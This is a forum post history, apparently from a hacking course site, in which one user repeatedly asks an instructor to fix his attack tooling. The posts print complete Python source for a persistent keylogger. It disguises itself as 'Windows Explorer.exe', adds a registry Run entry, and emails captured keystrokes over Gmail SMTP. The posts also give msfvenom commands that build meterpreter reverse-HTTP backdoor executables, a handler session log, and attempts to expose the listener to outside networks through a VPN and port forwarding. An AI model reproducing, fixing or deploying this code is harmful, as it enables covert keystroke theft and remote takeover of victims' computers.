Forum Replies Created
- AuthorPosts
Sylvester Peter
ParticipantHello Sir, please i’m still getting this Error message i will appreciate it if you can find the fix the code for me Sir Thanks.
self.become_persistence()
^
IndentationError: unindent does not match any outer indentation levelAttachments:
You must be logged in to view attached files.Sylvester Peter
ParticipantHello Sir, I run the Keylogger Code but it did not work out for me and shows this Error message screenshot attached below
please sir can you help me fix it or write the correct code for me thanksklog_object.py
===============
#!/usr/bin/env python
import persistent_keylogger
my_keylogger = persistent_keylogger.Keylogger(120, “[email protected]”, “alexnuga2”)
my_keylogger.start()=========================
persistence_keylogger.py
=========================#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib
import shutil
import os
import sys
import subprocessclass Keylogger:
def __init__(self, time_interval, email, password):
self.log = “Keylogger started”
self.become_persistent()
self.interval = time_interval
self.email = email
self.password = passworddef become_persistent(self):
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘, shell=True)def append_to_log(self, string):
self.log = self.log + stringdef process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()Attachments:
You must be logged in to view attached files.Sylvester Peter
ParticipantHello Sir, I’m having this Error when i run my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message
Here’s the Codes i used…. also screenshot attached…
#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib
import subprocess
import os
import sys
import shutil
class Keylogger:
def __init__(self, time_interval, email, password):
self.become_persistent()
self.log = “Keylogger started”
self.interval = time_interval
self.email = email
self.password = password
def become_persistent(self):
evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call(“reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “” + evil_file_location + “” shell=True)
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
===================================
ZLogger Function Part Below#!/usr/bin/env python
import keyloggermy_keylogger = keylogger.Keylogger(120, “[email protected]”, “npsalanlcdxlqbve”)
my_keylogger.start()Attachments:
You must be logged in to view attached files.Sylvester Peter
ParticipantSIR THIS IS HOW I RUN THE METASPLOIT BELOW BUT IT DID NOT WORK AND ALSO THE RESULT IN SCREENSHOT IF THERE’S ANY MISTAKE PLEASE CORRECT ME THANKS.
msfvenom -p windows/meterpreter/reverse_http LHOST=143.244.38.61 LPORT=443 -f exe -o /var/www/html/ACCESS.exe
msfvenom -p windows/meterpreter/reverse_http LHOST=143.244.36.79 LPORT=42338 -f exe -o /var/www/html/ACCESS.exe
msfvenom -p windows/meterpreter/reverse_http LHOST=47.31.201.92 LPORT=42338 -f exe -o /var/www/html/ACCESS.exe
………………………………………………………………………………………………..
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LHOST 143.244.38.61
set LPORT 443 and also I tried set LPORT 80Result Below…..
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST 143.244.38.61
LHOST => 143.244.38.61
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit[-] Handler failed to bind to 143.244.38.61:443
[*] Started HTTP reverse handler on http://0.0.0.0:443Attachments:
You must be logged in to view attached files.Sylvester Peter
ParticipantHello Sir This is how i run the ssh and this is the Error i received and please tell me what to do sir Thanks.
root@kali:~# ssh -R 8088:localhost:80 191.96.168.232
ssh: connect to host 191.96.168.232 port 22: Connection refusedroot@kali:~# ssh -R 6489:localhost:80 191.96.168.232
ssh: connect to host 191.96.168.232 port 22: Connection refusedroot@kali:~# ssh -R 6489:localhost:80 192.168.220.128
ssh: connect to host 192.168.220.128 port 22: Connection refusedroot@kali:~# ssh -R 80:localhost:80 192.168.220.128
ssh: connect to host 192.168.220.128 port 22: Connection refusedroot@kali:~# ssh -R 6489:localhost:80 185.140.53.132
ssh: connect to host 185.140.53.132 port 22: Connection refusedroot@kali:~# ssh -R 6489:localhost:80 nvpn.net
ssh: connect to host nvpn.net port 22: Connection refusedroot@kali:~# ssh -R 6489:192.168.220.128:80 nvpn.net
ssh: connect to host nvpn.net port 22: Connection refusedroot@kali:~# ssh -R 80:192.168.220.128:80 nvpn.net
ssh: connect to host nvpn.net port 22: Connection refusedroot@kali:~# ssh -R 80:192.168.220.128:80 privateinternetaccess.com
ssh: connect to host privateinternetaccess.com port 22: Connection timed outSylvester Peter
ParticipantHello Sir, Please i need your urgent assistance as i have completed my Course but i’m still having problem in the port forwarding and i have tried all the means and processes for the port forwarding in Kali Linux to be able to receive connections from outside network but it it did not work out.
This is the Paid VPN i have used below
finchvpn.com
nvpn.net
privateinternetaccess.com
localhost.runSir please i need your one on one assistance through Anydesk or TeamViewer to teach me how to set it on msfvenom, msfconsole, TheFatRat and Empire, please i’m ready to pay for any extra cost for this lesson Thanks. i really enjoy the classes and the courese.
Sylvester Peter
ParticipantThank you sir and please explain to me steps on how to bind the listener to the interface connected to the VPN and use the public VPN in the Backdoor.
Sylvester Peter
ParticipantHello Sir this their Member Account i have Options to add Port Forwarding and this are the Ports i added in the Port Forwarding
6489
2404
6489
6649
6484
and this is my Assigned IP: 180.156.53.132So how do i Configure it The Router To Forward Connections To Kali.
Sylvester Peter
ParticipantThanks so much sir it worked.
- AuthorPosts